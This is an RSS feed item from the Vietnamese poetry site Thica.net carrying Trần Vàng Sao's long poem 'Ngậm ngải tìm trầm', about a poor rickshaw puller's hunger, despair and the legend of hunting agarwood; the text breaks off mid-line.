<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Thica.netThơ có chủ đề &quot;Cuộc đời&quot; - Thica.net</title>
	<atom:link href="https://www.thica.net/the/cu%e1%bb%99c-d%e1%bb%9di/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.thica.net/the/cuộc-dời/</link>
	<description>Mạng thi ca Việt Nam</description>
	<lastBuildDate>Fri, 13 Mar 2026 06:12:14 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.6.5</generator>
<site xmlns="com-wordpress:feed-additions:1">3122721</site>	<item>
		<title>Ngậm ngải tìm trầm</title>
		<link>https://www.thica.net/2025/01/10/ngam-ngai-tim-tram/</link>
		<comments>https://www.thica.net/2025/01/10/ngam-ngai-tim-tram/#respond</comments>
		<pubDate>Fri, 10 Jan 2025 14:09:59 +0000</pubDate>
		<dc:creator><![CDATA[Trần Vàng Sao]]></dc:creator>
				<category><![CDATA[Trần Vàng Sao]]></category>
		<category><![CDATA[Cuộc đời]]></category>

		<guid isPermaLink="false">https://www.thica.net/?p=18095</guid>
		<description><![CDATA[<p>[...]</p>
<p>tôi chết<br />
vợ tôi chết<br />
con tôi chết<br />
người ngậm ngải chết<br />
ba tháng mười ngày<br />
ngải ngải<br />
lửa và nước<br />
ngải<br />
tôi thấy tôi chạy rất nhanh giưa rừng<br />
chiếc xe kéo bay bổng sau lưng tôi<br />
hai tay tôi bị trói chặt vào càng xe<br />
tôi chạy<br />
nước và lửa ở trong đầu<br />
ngải<br />
tôi ngậm ngải ở trong miệng<br />
trầm<br />
trầm trước mặt<br />
trầm sau lưng<br />
trầm<br />
tôi bước không nổi<br />
chân tay tôi cứng thẳng<br />
trầm<br />
trầm chất đống quanh tôi<br />
tôi không chạy nữa<br />
hai càng xe cứ dính cứng vào tay tôi<br />
tôi ngột thở<br />
trầm<br />
con ơi trầm<br />
cơm đó<br />
thịt đó<br />
trầm trầm con ơi<br />
chiếc xe lao nghiến lên người tôi<br />
tôi mắc ngang giữa hai bánh xe<br />
xoáy tròn trong nước và lửa<br />
tôi ngột thở<br />
tôi la thật to<br />
trầm</p>
<p>con nhện sa trước mặt<br />
tôi đưa tay ra<br />
sợi tơ đứt nửa chừng<br />
tôi có chết được đâu<br />
cứ sống như tôi đây này làm thằng kéo xe tay<br />
kẻ giàu có bữa ăn nào cũng dư cơm dư thịt</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2025/01/10/ngam-ngai-tim-tram/">Ngậm ngải tìm trầm</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>lúc này<br />có nhiều người đi buôn trầm<br />và tìm trầm trở nên giàu có<br />của tiền tiêu không hết.<br />tôi cũng muốn làm như thế<br />mà chưa làm được</p><p><i>Trầm</i></p><p>tôi có thể bỏ quên nhiều điều<br />như kẻ mất trí nhớ<br />không biết mình là ai<br />tôi thành thật nói ra điều dại dột này<br />cảm ơn những người tử tế<br />một hai ba bốn năm sáu<br />bảy tám chín mười<br />hiện nay hôm qua<br />con chim đậu trên hàng tre trước nhà khi không kêu lên một tiếng rồi bay đi thả ngọn lá tre rụng xuống ao không có nước<br />tu huýt thổi tu tu đầu xóm<br />người đàn bà mặc áo nối bỏ gánh xuống vào quán đứng vấn thuốc hút<br />khuya lính ngoài lô cốt đi tuần bắn súng chỉ thiên<br />con chó chết nổi cái bụng trắng dưới sông<br />một thằng điên đội cái giỏ tre đựng giẻ rách<br />chai chén dây chuối dây thép xanh đỏ trắng vàng<br />tôi nói thật to tôi chưa chết được thôi cứ sống cho hết đời<br />con cái tôi sau này sẽ có cơm ăn nhiều hơn tôi<br />gió đã thổi ngược<br />ở trên trời con diều giấy đứt dây lộn đầu rớt xuống đất<br />đứa bé nhìn theo khúc đuôi mắc trên ngọn cây<br />rồi cầm cái ống tre không đi giữa đồng<br />mưa bắt đầu rớt trong lá cây<br />hơi đất có bốc thêm mùi rơm cháy</p><p>tôi đi không thấy dưới đất<br />gió thổi mạnh không đội nón được<br />tôi để đầu trần mưa ướt<br />tháng năm trời mưa không lâu<br />tôi bước vào nhà để cái nón trước cửa<br />ba đứa con ngồi trong góc nhà nhìn tôi<br />mấy cái chân thò ra khỏi những miếng giẻ rách nằm yên không động đậy trên mặt đất<br />đứa lớn đứng dậy chụi mắt ra ngồi ôm chân trước cửa<br />tối khuya mẹ mới về<br />nước chạy giọt ướt sau xương sống<br />tôi rùng mình nhìn mấy bát hương trên bàn thờ<br />con nhện sa trước mặt<br />tôi không có gì hết<br />bốn mươi mấy tuổi còn cúi lượm hai giác bạc bán phong long cúng khăm tháng ở ngã ba đường<br />rồi ngó trước ngó sau<br />như người không có việc chi làm<br />đứng chắc lưỡi ngó trời chơi</p><p>● qua được một ngày<br />đang ăn ngậm miệng lại<br />không biết bữa sau phải ăn chi<br />tức như thằng hề không chọc được ai cười<br />người nhắc tuồng đã bỏ quên sách<br />đứng ngó khán giả qua cánh gà<br />tôi chỉ còn biết đằng hắng trong cổ<br />không biết sống để làm gì mà cực quá sức<br />buổi chiều hai đứa bé ngồi dưới cái dù du giữa chợ nhìn mưa giọt trên đống chai bể<br />ông già quét rác úp cái mũ lác rách lên mặt nằm trên sạp gỗ kê hàng hát bài đêm khuya dựa gốc cây bòng</p><p>tôi vấn một điếu thuốc<br />nước ướt giấy rách thuốc dính cả hai tay<br />tôi hết thèm</p><p>con nhện sa trước mặt<br />tôi không còn gì hết<br />hai bàn tay mười ngón<br />hai bàn chân mười ngón<br />trên càng xe và trong bùn đá<br />tôi đứng giữa ngã ba đường và nơi đông người qua lại<br />chờ các ông các bà kêu một tiếng tôi dạ to<br />cái lục lạc kẽm<br />kêu lanh canh<br />tôi xin thêm hai giác nữa đường xa nhiều dốc buổi trưa trời nắng phải uống nước nhiều<br />tôi muốn làm thằng hề chùi hai ống tay áo lên mặt giả đò khóc cho người mặt đỏ đội mũ thẻ ngang chỉ vào mặt chưởi bới<br />sau đó màn khép lại<br />người cầm chầu bỗng đánh trống liên hồi</p><p>● tôi qua cầu tôi lên dốc<br />một dốc hai dốc rồi ba dốc<br />con nhện sa trước mặt<br />bùn đá cát đất<br />con nhện sa trước mặt<br />buổi trưa đứng bóng<br />sáng sớm chưa thấy đường<br />tối khuya không còn người<br />tôi chạy<br />tôi thở<br />trong nắng giữa mưa<br />đứt hơi</p><p>● như khúc củi mục lâu ngày rớt xuống vũng nước xoáy trong mùa lụt<br />tôi vỡ tan dần ra từng miếng<br />còn lại cái ròn<br />cháy đen<br />và hôi chua</p><p>con nhện sa trước mặt<br />tôi không còn có nước mắt nữa</p><p>● một thằng câm chấp hai tay sau lưng đứng dựa cột điện nhìn một thằng điên không mặc quần áo nhai một nắm giẻ rách đi qua<br />thằng câm lắc đầu bỏ đi<br />hết nước rồi<br />thằng điên nhả nắm giẻ rách ra nhổ một bãi nước miếng nhắm hai mắt lại cười hố hố nói to<br />mọi người hãy hoan hô tôi muôn năm<br />và thổi điệu kèn long trọng cúi mình sát đất kính chào ngài rất thánh rất phật là tôi<br />cho tôi được sống đời ở trên trời cũng như ở trên đất<br />tôi ra lệnh không ai được như tôi<br />chỉ có tôi<br />chỉ có tôi là không phải người đến ở với các người<br />a ha<br />này các người không bao giờ dám không mặc quần áo đi ra đường<br />hãy nhảy múa với tôi để được tự do<br />a ha<br />hai người mặc quần áo lính chỉ tay vào mặt thằng điên đuổi đi<br />thằng điên úp hai tay vào mặt nhìn hai người lính qua kẽ ngón tay cười hi hi<br />rồi bỏ chạy<br />vẫn còn lính chưa hết giặc<br />đừng khóc nữa để còn sức và nước mắt sau này mà cười<br />thôi thôi<br />cha mẹ tôi dại đẻ cái đầu tôi ra trước rồi<br />tôi lại không có cái miệng của ông lão tử<br />hu hu</p><p>● thằng điên nói như thế<br />người nào ngậm khít hai hàm răng ngó thẳng vào mặt tôi như thế<br />tôi là người thật thà<br />chưa bao giờ được ăn no<br />hai mươi năm kéo xe không đội được một cái nón lành<br />mấy đứa con đói bụng không thấy nhớ tới bữa<br />một củ khoai hai củ khoai<br />ba củ khoai hà ăn một nửa<br />đứa lớn củ nhỏ đứa nhỏ củ lớn<br />nuốt lớn củ nhỏ đứa nhỏ củ lớn<br />ăn cả vỏ nhai cả xơ<br />cứt ỉa ra khi cứng khi lỏng<br />xanh đỏ trắng vàng<br />người nào lại ngậm khít hai hàm răng ngó thẳng vào mặt tôi như thế<br />tôi không phải là đứa ăn cắp đi ngoài cửa ngó lơ giả đò hỏi thăm nhà<br />tôi nghỉ chân ở đây chờ khách<br />có tử tế xin miếng nước lạnh</p><p>● cây không xuống nước cũng khô<br />bốn mươi mấy tuổi vẫn còn cong lưng cúi đầu vừa thở vừa chạy<br />chưa tới thời chó không ăn cứt</p><p>● này đứa kéo xe nhà có điềm viền tua vàng tua bạc lục lạc đồng leng keng<br />mầy lên dốc còn ngoái đầu nhìn tau cười chọc tức<br />mầy nhún càng xe đánh cao hai chân làm bộ<br />mầy la hét ồn ào<br />mặc cái áo của chủ vất đi<br />mầy tưởng mầy là ông trời<br />mầy rung to lục lạc cười tau mặc áo vá đi dép mo cau<br />tau mở miệng không ra<br />xe qua cầu tau nghiến hai hàm răng lại<br />không lau mồ hôi được<br />mày nhổ nước miếng lượn xe cho bánh kêu lạo xạo<br />trên lưng mầy má và cổ của chủ mầy rung lên<br />tau thở không kịp cố chạy cho đều bước<br />con ơi đừng tưởng như thế là sướng<br />hết kéo xe mày phải lau khu cho những đứa con nít gọi mầy bằng thằng</p><p>● nửa đêm nằm ngủ tôi thấy những bông cỏ gai khô gió thổi lăn trên mặt<br />mồ hôi chảy lạnh sau xương sống<br />những tia nhọn và sắc trong da thịt tôi<br />tôi muốn mửa<br />tôi cúi đầu thấp xuống<br />gió đập vào hai mắt<br />tôi không thấy gì hết tôi không nghe gì hết<br />cây cối hai bên đường rung giật lên từng cơn<br />tôi đang xuống dốc<br />chiếc xe vồng lên<br />hai chân tôi cứng lại<br />càng xe gãy đâm suốt qua lưng tôi<br />người khách xếp dù che mặt bỏ chạy<br />tôi nằm ngửa nửa người mắc trên càng xe không có máu<br />mẹ tôi cầm chén cơm có cắm đứng hai chiếc đũa tre<br />hương thắp không có mùi<br />ngày còn sống sao không thấy được chén cơm to đầy như thế<br />mấy đứa con tội mở to mắt nhìn chén cơm<br />vợ tôi đứng cúi đầu ôm chiếc chiếu rách và mấy sợi dây dừa<br />không biết có ai biết tôi còn mấy đồng bạc trong cái bao thuốc bẹ chuối</p><p>tôi mở mắt<br />trời mưa<br />mấy miếng mo cau che không hết chỗ dột<br />cả nhà thức dậy nói chuyện</p><p>● chuyện một bà ăn chả nhả bã<br />chuyện con kia còn nhỏ lấy quần đen đánh vào đầu người ở<br />hai đứa nhỏ hàng xóm quăng bánh mì cho chó ăn chơi là chuyện của con tôi<br />chuyện của vợ tôi chuyện ngoài đường chợ<br />hai người bán cá bán rau chưởi nhau ăn cắp ăn trộm<br />mấy đứa bán đậu phụng rang giành khách đánh nhau<br />tôi kể một người cuốc đất trồng khoai được một cục vàng to bằng bắp chuối<br />chuyện chưa hết mấy đứa con đã co chân nằm ngủ<br />chờ tạnh mưa tôi ngủ cho tới sáng</p><p>● xe lên dốc<br />tôi cúi xuống thở<br />xe lên dốc<br />tôi úp tôi lên càng xe tôi nín thở<br />xe lên dốc<br />tôi cong tôi lại kéo chân từng bước tôi đứt hơi<br />mặt trời trên đầu mặt trời sau lưng mặt trời trước mặt mặt trời dưới đất mặt trời trong mắt trong miệng trong mũi trong tai trong tóc<br />mặt trời tan trong thân thể tôi tối đen<br />da thịt khô nhão nguyên tắc máu</p><p>● tôi ngửa bàn tay ra<br />nhìn đồng bạc rớt xuống<br />trời không có gió<br />tôi nói to không được<br />xe lên dốc xin cho thêm ít giác</p><p>● chẳng có khi nào tôi nhớ ra tôi<br />cũng không soi gương để thấy mình mặt ngang mặt dọc<br />buổi sáng vục nước vào hai bàn tay quệt qua cái mặt rồi kéo vạt áo lên lau<br />nửa đêm thức dậy chân tê biết mình đói bụng<br />uống một miếng nước lạnh nhức hai hàm răng<br />trở lưng quay mặt vào phên<br />nằm nghe con nói mớ<br />trước cuộc đời muốn chửi mả cha<br />hài hàm răng ngậm cứng<br />giận mình làm thinh không khóc không la<br />đến bữa ăn đánh con chưởi vợ<br />coi trời đất chẳng ra gì<br />khi đứng đường ai kêu xe lại dạ<br />mở trần giũ đệm hạ càng xe nói nhỏ mời bà mời cụ lên<br />rồi cong lưng nín thở chạy hộc tốc<br />cố tránh ổ gà cho khách khỏi xóc<br />để nài thêm ít giác<br />đỡ tiền gạo cho vợ</p><p>● chẳng có gì phải nhớ<br />bạn bè gặp nhau bụng không đứng uống một ly rượu buổi chiều trong quán<br />nói chuyện đời chơi<br />thêm một ly nữa để thấy trời ngoài mái tranh thấp một chút<br />ngó ly rượu đầu tràn cười to vào mặt nhau<br />một hai ba<br />rồi năm sáu bảy thằng<br />đứa ngồi đứa đứng<br />đứa mặt đỏ như mặt trời sắp lụt<br />đứa mặt tái như mồng gà mái chết dịch<br />rót thêm ba bốn ly nữa<br />việc gì mà phải nhớ<br />vợ có đi ngang cũng lấy nón che mặt giả đò không thấy<br />con có đứng nhìn kêu cho một cái kẹo rồi đuổi về<br />mưa tháng năm còn lâu mới thấm đất<br />một đời ta còn kéo xe<br />một đời mầy còn đi ở<br />một đời nó còn quét chợ<br />chưa chết thì cứ sống xem cực tới đâu cho biết<br />chó không ra chó người không ra người như con trùn còn ăn được đất<br />một ngày qua hai ngày qua<br />vợ con đau không có tiền mua gạo<br />ăn rau chấm nước muối trừ bữa<br />hết một tháng hết một năm hết ba bốn năm<br />diềm xe vá chỗ này rách chỗ khác<br />thêm một ly nữa<br />cho bọn nhà giầu đi qua ngó thấy cay mắt<br />những thằng kéo xe thiên hạ ngồi trên đầu muốn làm ông trời<br />một đời ta ba đời nó<br />bỏ hết cả<br />bỏ hết<br />chẳng còn gì phải nhớ<br />uống nữa đi<br />nhắm từng chút cho rượu thấm vào não tuỷ<br />cha cũng chết rồi mà mẹ cũng qui thiên<br />còn mấy đứa con ghẻ sài hôi hám<br />ha ha<br />mả cha cuộc đời<br />mả cha bây mả cha cả làng cả nước bây<br />tôi đây trói mình vào hai bánh xe<br />tôi lăn theo lăn theo<br />lộn ngược trời đất<br />lộn ngược ruột gan<br />không biết nắng không biết mưa trên đầu dưới chân<br />ngủ hay thức hai con mắt vẫn mở to<br />sáng như tối<br />ngày như đêm<br />này những thằng trời sinh ra kéo xe những đứa trời sinh ra quét chợ những con trời sinh ra bán nước chè những đứa đi ở những thằng ăn mày<br />tới đây<br />nghe tôi hát và làm trò tôi chơi<br />tôi hát kể thằng điên say<br />bắt đầu bằng một chén rượu cặn trong đám cưới nhà giầu bị đuổi ra khỏi cửa ngõ<br />thằng điên cầm vắt xôi và một miếng thịt la to<br />cha mẹ ơi không sống dậy mà ăn xôi thịt<br />thằng điên để miếng thịt và vắt xôi ngay giữa đường quỳ xuống chấp tay van vái khóc thảm thiết<br />rồi vùng dậy bỏ chạy cười ha ha<br />ra tới chợ thằng điên ngồi xếp bàn dưới đất lượm một cái lá bánh le lưỡi liếm<br />mặt cắt không có một giọt máu</p><p>uống nữa đi uống nữa đi<br />em ơi em bán thêm anh hai giác ốc</p><p>uống nữa đi<br />hỡi những thằng ăn rau heo ăn<br />uống nữa đi<br />suốt ngày này coi như mưa to gió lớn<br />uống để đi bằng cái đầu và thấy ông trời ở dưới hai chân<br />uống đi<br />cực cả đời đâu phải một bữa mà lo<br />em ơi cho anh xin một chút nước ốc<br />chẳng có gì quên<br />chẳng có gì nhớ<br />chẳng cần biết gì nữa<br />tôi tên là nguyễn văn dạng<br />hai mươi năm kéo xe<br />nghe chưa em<br />tay em thơm mùi chanh mùi sả</p><p>● tôi tên là nguyễn văn dạng<br />hơi hai mươi năm kéo xe tay<br />cực quá sức<br />cực không biết bao giờ cho hết cực<br />cái áo cánh thân sâu đen thân trước trắng<br />chỗ vá vải dù chỗ vá vãi to<br />cha chết ngày mồng một tết phải để ngày mồng ba mới cúng<br />nhiều lúc giận vợ giận con tức cuộc đời muốn bỏ xứ mà đi<br />rồi khuya về lại thức vợ dậy đưa thêm tiền ngày mai mua gạo<br />có khi chạy cả ngày tối nhức hai con mắt không ngủ được<br />nằm tính chuyện với vợ<br />trời mới mưa một ngày gạo đã thua nửa lon<br />tới lúc lụt chỉ còn ôm hai chân ngồi ngó trời ngó nước<br />xe không chạy<br />chợ không đông<br />không ai thuê gánh hàng chùi thớt<br />đi mượn gạo có ai thương cũng không dám cho quá ba lon<br />sợ trả không nổi để lâu ngày thêm mất lòng mang tiếng<br />ngồi nghĩ không biết vì sao ông gánh dưa trên tờ bạc một đồng lại ở trần<br />hơn bốn mươi tuổi mình không có một cái áo lành<br />mùa đông mấy đứa con rúc vào cái bao bố<br />chân thò ra những chỗ rách<br />tính hết nước không biết làm sao cho khỏi cực<br />ngó chung quanh cùng mình<br />không kể những thằng kéo xe<br />mụ tạo bán nước chè<br />ông dẫn hát chầu văn<br />mụ màng bán cháo gạo<br />mụ năm thương bán cơm hến<br />thằng lô làm thợ điện<br />con lủi bán bánh bèo<br />mụ lười gội đầu<br />con phụ đi ở<br />bác cai chèo đò<br />ông xin quét chợ<br />thằng dưa gác cửa trường hát<br />chẳng có con nào thằng nào cất đầu lên nổi<br />đứa nào đi cũng chạy<br />đứa nào làm hết hơi còn đưa tay quệt mồ hôi trán<br />con cái ở trần tắm sông dang nắng<br />trời mới sáng ra chợ ngả cái chén gỗ chờ xin vá cháo gạo phát chẩn<br />ngó người ta cùng mình<br />người này tới người khác<br />từ đầu đến chân<br />tính hết nước không làm sao khỏi cực<br />chạy hết sức cơm cũng không dư trong nồi<br />hoạ may trời rớt xuống giữa nhà cho một cục vàng<br />hay như ngày trước<br />ngậm ngải tìm trầm<br />một hoá long hai xong máu<br />cho hết cuộc đời đi<br />kể chi<br />thôi mình ơi<br />ngủ mai còn ra chợ sớm<br />giấc ngủ không tới hai con mắt còn cay<br />tôi nói chuyện ngầm ngải tìm trầm</p><p>● người đó ngậm ngải vào núi tìm trầm<br />dặn vợ con ở nhà chịu khó chờ ba tháng<br />người đó cứ đi đi mãi sâu vào núi<br />không có đường ra không có đường vào<br />trầm<br />vợ con tôi đói đang ngó mắt qua cửa sổ<br />trầm<br />vợ con tôi đói đang thóp bụng tính từng ngày<br />trầm<br />trời chưa sáng<br />một ngày<br />trời mới tối<br />hai ngày<br />nửa khuya tỉnh dậy<br />ba ngày<br />tràm<br />tôi cứ đi<br />rừng và lá trước mặt<br />lá và rừng sau lưng<br />ngải trong miệng không đắng không cay không ngọt<br />ngải trong miệng tôi cứ đi<br />trầm<br />trầm<br />trầm<br />nửa đêm trong giấc ngủ tôi thấy những mũi nhọn thốn trong ngực tôi<br />những tia máu<br />những rổ rau như cỏ luộc chấm với nước muối sống<br />vợ tôi ngồi ăn cay con mắt<br />cái bụng đau quan sát của thằng con út mười lăm tháng<br />những đêm mùa đông không một que củi<br />gió thổi qua lỗ phên rách<br />trầm<br />tôi không còn nhớ tháng nhớ ngày<br />tôi cứ đi<br />trầm<br />những miếng thịt<br />những chén cơm trăng đơm đầy<br />nải chuối chín vàng và mùi hương thắp trên bàn thờ<br />trầm<br />tôi vấp ngã<br />tôi đứng dậy<br />tôi chạy<br />tôi ngậm chặt miệng lại<br />tôi đi<br />ba tháng mười ngày mười ngày ba tháng<br />mặt trời mọc<br />mặt trời lặn<br />hết đêm đến ngày<br />hết tối đến sáng<br />không kể mưa không kể nắng<br />trầm<br />trầm<br />rồi tôi thấy đói<br />rồi tôi thấy khát<br />hai mắt tôi mờ tôi quỵ hai chân<br />tôi cố sức đứng dậy<br />tôi đi tôi đi nữa<br />ngải không còn ở trong miệng<br />tôi không nhớ gì hết<br />trầm<br />vợ con tôi<br />cơm cơm<br />và gió<br />trời ơi gió<br />gió bắt đầu trong lá cây<br />mùi thơm của cỏ và nhựa nứt ra<br />gió hút qua thung lũng và vào vách đá<br />gió xoáy giữa những hốc núi hai bên vực thẳm như con thú chạy hộc hơi<br />gió hút<br />trong hang<br />tiếng dội ngược tắt nghỉn<br />tôi đứng không vững<br />trời ở trên đầu<br />trời ở dưới chân<br />tôi ở giữa trời giữa đất<br />gió thổi nhấc tôi lên<br />tôi nhìn ở đâu cũng thấy vợ con tôi<br />trầm<br />trầm<br />dễ sợ<br />trầm<br />tôi bước tới<br />một bước hai bước<br />trầm<br />vợ con tôi và những chén cơm đầy<br />trầm<br />tôi không còn biết trời đất gì nữa<br />nửa đêm tôi tỉnh dậy<br />tiếng vỏ cây nứt và lá rụng<br />một con chim vỗ cánh bay vụt ra khỏi lùm cây<br />sương có trăng mù trắng dưới suối<br />tôi rùng mình<br />tức thở<br />trong ngực tôi như có cục đá chặn lại<br />tôi cúi người thấp xuống<br />hai đầu gối nhức tôi không đi được nữa<br />tôi bò<br />quần áo mục nát<br />tôi bò<br />ngải ngải<br />miệng lưỡi tôi khô queo lại<br />ngải<br />tôi nhai một nắm cỏ<br />nước cỏ mát thơm trong miệng<br />tôi bò đi tìm nước uống<br />ngải<br />ba tháng mười ngày<br />mười ngày ba tháng<br />không biết tôi còn nhớ đường về<br />tim tôi đập rất mạnh<br />thịt tôi cứng lại<br />thân thể tôi tê nhức và giật lên từng cơn</p><p>tôi đã thấy tôi trong vũng nước<br />tôi không còn là tôi nữa<br />tôi kêu to lên một tiếng đưa hai bàn tay cào mặt<br />những móng sắc đầy máu và lông<br />tôi đâm đầu chạy giữa lá cây<br />mặt trời ở sau lưng<br />tôi không thấy bóng tôi nữa<br />tôi gầm lên chạy lao xuống núi</p><p>● trầm trầm<br />ba tháng mười ngày ngậm ngải tìm trầm<br />trầm ở trong cây<br />ngải ở trong miệng<br />ba tháng mười ngay<br />trầm ở trong cây<br />ngải tan trong máu<br />ăn trong xương ngấm trong thịt<br />ngải mọc lông ngải ra vuốt<br />ngải thay máu ngải đổi da<br />người không ra người<br />người thành ra thú ăn thịt tươi</p><p>tôi đưa hai bàn tay ra trước mặt<br />tôi lật ngửa lật sấp<br />tôi há miệng ra<br />tôi không nói được nữa rồi<br />trầm hay ngải<br />và cơm cơm<br />chỉ còn vợ con tôi nhìn ra tôi<br />tôi kéo mảnh quần lại trên ngực<br />vợ con tôi khóc<br />và tôi sẽ bị xua đuổi như tôi là con thú<br />và tôi sẽ chết như tôi là con thú<br />một mình không chôn cất</p><p>Ngải</p><p>● có người ta cùng mình<br />con nhện sa trước mặt<br />tôi còn kéo xe cho hết đời tôi<br />tôi có chết<br />vợ con cũng chẳng có một chiếc chiếu lành<br />người ngậm ngải tìm trầm đã chết một mình không chôn cất<br />người ngậm ngải tìm trầm đã chết một mình không ai khóc<br />trầm<br />và cơm<br />cái tơi đọt cùn hết đường chân chỗ chằm thêm miếng diềm xe cũ chỗ vá chèn miếng ka ki bôi dầu rái<br />những con đường đá dăm<br />những hố cát hố bùn<br />những vũng nước đọng<br />những chiếc xe chở lính mang đầy súng ống<br />chiếc xe của tôi tội nghiệp<br />lóc cóc dưới mưa ngược gió<br />vợ tôi đứng ăn miếng sắn ngoài chợ<br />co chân phải gãi chân trái<br />cái nón lật ra sau đầu<br />trời mưa nước đen<br />trầm là cơm<br />trầm<br />tôi sẽ ngậm ngải trong miệng<br />ba tháng mười ngày</p><p>con nhện sa trước mặt<br />vợ tôi đội cái nón ngó nghiêng<br />tôi vội vã chạy băng qua đường<br />có người kêu xe trả giá hai lần rồi đi thẳng<br />ba vạn cũng bỏ<br />tôi mua mấy dáo nưa kẻo chổng càng xe lên bước từng bước về nhà<br />mưa không tạnh nổi<br />tới giữa tháng chín<br />gạo sắp thua rồi</p><p>● trầm hay là cơm<br />những tờ giấy bạc sạch sẽ và thơm mùi giấy<br />những tờ bạc cầm giữa mưa không sợ rách<br />những tờ giấy bạc rớt xuống đất nghe tiếng<br />không phải những tờ bạc nhét dưới chiếu<br />không phải những tờ bạc để dưới chân đèn trên bàn thờ<br />không phải những tờ bạc bỏ trong bao bẹ chuối đựng thuốc hút<br />không phải những tờ bạc đứt hai dán ở giữa<br />không phải những tờ bạc mềm xìu<br />những tờ bạc không có lằn xếp<br />những tờ bạc thơm mùi long não<br />những tờ bạc không có mồ hôi tay<br />những tờ bạc của nhà giàu<br />trầm và những tờ bạc mới<br />tôi ngủ quên và thấy mình nằm ôm một gốc cây mục giữa rừng<br />miệng tôi khô đắng</p><p>● ngải<br />biết đâu có ngải<br />ngải màu trắng màu đen màu đỏ<br />ngải màu xanh màu vàng<br />ngải đắng<br />ngải ngọt<br />ngải cay<br />ngải ở trong đất trong cây<br />ngải ở trong rừng trong đá<br />ngải ở trên trời rơi xuống<br />ba tháng mười ngày ngậm ngải không ăn không đói<br />miếng gỗ mục trên tay con tôi<br />đang đi tôi đứng lại<br />ngải<br />cái dáo nưa chưa gọt vỏ giữa chợ<br />tôi mở hai mắt<br />ngải<br />đám đất trùn đội bên bể nước<br />tôi cúi xuống<br />ngải<br />viên đá mắc trong kẽ ngón chân<br />tôi kẹp lại<br />ngải<br />ba tháng mười ngày không ăn cũng sống<br />tôi chảy nước miếng<br />ba tháng mười ngày không ăn<br />vợ tôi mấy đứa con tôi mỗi người ba tháng mười ngày thay nhau không ăn<br />đang ăn tôi bỏ đũa xuống<br />ngải<br />ngải<br />tôi ngậm miệng lại<br />ba tháng mười ngày<br />tôi hỏi hết những thằng kéo xe đứa đi ở đứa bán bánh con ăn mày<br />không ai nói thấy ngải ở đâu<br />ngải ở trên trời rơi xuống<br />ba tháng mười ngày ăn chay niệm phật<br />nhà tôi không có phật<br />ba tháng mười ngày không ăn<br />ngải</p><p>● trời không sập cho chết hết<br />nên tôi cũng sống như người khác chung quanh<br />bốn mươi mấy năm với cuộc đời này<br />ăn khoai không bao giờ lột vỏ<br />có khi muốn được như ông thày tu ở trên chùa<br />áo quần sạch sẽ thơm tho<br />da thịt trắng đỏ<br />đi ra đi vào nhìn trời nhìn đất chấp tay cuối đầu a di đà phật</p><p>● tôi cười tôi dại<br />tôi là nguyễn văn dạng<br />cực quá không biết làm sao<br />cứ mong trời sập cho chết hết</p><p>tôi là nguyễn văn dạng<br />hai mươi năm kéo xe không biết tối không biết sáng hết đêm hết ngày<br />cửa ngõ hai ba lần đổi hướng<br />khi đi thẳng khi đi vòng<br />cực tới đây không biết có còn cực nữa hay không<br />trời không sập cho chết hết<br />tôi chưởi bậy một câu<br />mấy đứa con nhìn tôi rồi cúi đầu xuống rổ rau gắp và<br />vợ tôi bỏ đũa chống tay đứng dậy đi xuống bếp<br />tôi lấy cái nón kéo chiếc xe ra ngoài cửa ngõ</p><p>● tôi chạy<br />con tôi đang dựa cột nhà<br />hai con mắt không muốn mở<br />tôi chạy<br />vợ tôi đang khom lưng chà cái xơ mướp trên thớt thịt<br />tôi chạy<br />lục lạc lanh canh<br />tôi chạy<br />hai bánh xe lăn tròn xốc bổng đẩy tôi tới trước<br />tôi chạy<br />nắng mưa gió nước<br />tôi cất nón tôi há miệng tôi ngẩng mặt tôi cúi đầu tôi thở<br />mướt mồ hôi<br />tôi sùi bọt mép<br />tôi chạy<br />hai bàn chân vợ tôi hà ăn từng lớp<br />gót nứt đen bùn đất<br />những cái bát gỗ giơ lên chờ vá cháo phát chẩn<br />mấy đứa con tôi vừa thổi vừa húp<br />tôi chạy<br />đổ khách xuống<br />tôi mở to hai mắt ngó tiền trong nón<br />đợi khô mồ hôi vấn một điếu thuốc uống một bát nước chè<br />tôi cười thở phù hết nặng ngực<br />tôi muốn nằm xuống ở đây trên cái ghế dài trong quán nước úp cái nón lên mặt ngủ một giấc<br />cho một lúc không còn gì trên cuộc đời này nữa</p><p>● tôi cầm tờ bạc trên tay<br />lật qua lật lại hai mặt<br />một đồng một giác không thành hai hai đồng hai giác được<br />người ngậm ngải hơn ba tháng ở trong rừng không thấy trầm<br />cây cối chung quanh che khuất mặt trời<br />người ngậm ngải luồn những ngón tay vào trong tóc kéo đầu mình xuống<br />tôi rùng mình<br />cổ họng tôi khô rát<br />tôi la lên<br />xe xe ai đi xe không<br />tôi cười ha ha<br />nghiêng xe rẽ đường<br />những sợi tóc trên đầu người ngậm ngải dựng đứng lên<br />người ngậm ngải khóc<br />xe xe<br />tôi sải chân lên dốc<br />không có ai kêu<br />tôi chạy<br />tôi chạy như thằng ăn cướp giựt được tiền chạy<br />người ngậm ngải đứng trên dốc che mặt ngó xuống làng</p><p>● tôi nằm xuống thật<br />một ngày hai ba ngày<br />ngoài trời như có mưa<br />nước giọt trên lá nước giọt ở trong đầu tôi<br />lửa lửa<br />lửa đốt chung quanh tôi<br />mùi thịt người cháy sôi trong máu<br />chân tay tôi bị trói chặt<br />những bóng người đen dài chạy qua chạy lại trước mặt<br />có tiếng la to<br />tôi dạ dạ có tôi xe đây<br />tôi cố vùng vẫy<br />tôi chạy<br />lục lạc không kêu<br />tôi chạy<br />lửa và nước trong đầu<br />tôi cúi sát người xuống đất<br />và ngã lăn ra<br />cơm đó con ơi<br />cơm cơm ăn đi<br />ăn đi cơm không hết đâu<br />đừng khóc nữa<br />đừng khóc nữa<br />con ơi<br />tôi thét thật to<br />tôi chưởi<br />tôi chưởi hết<br 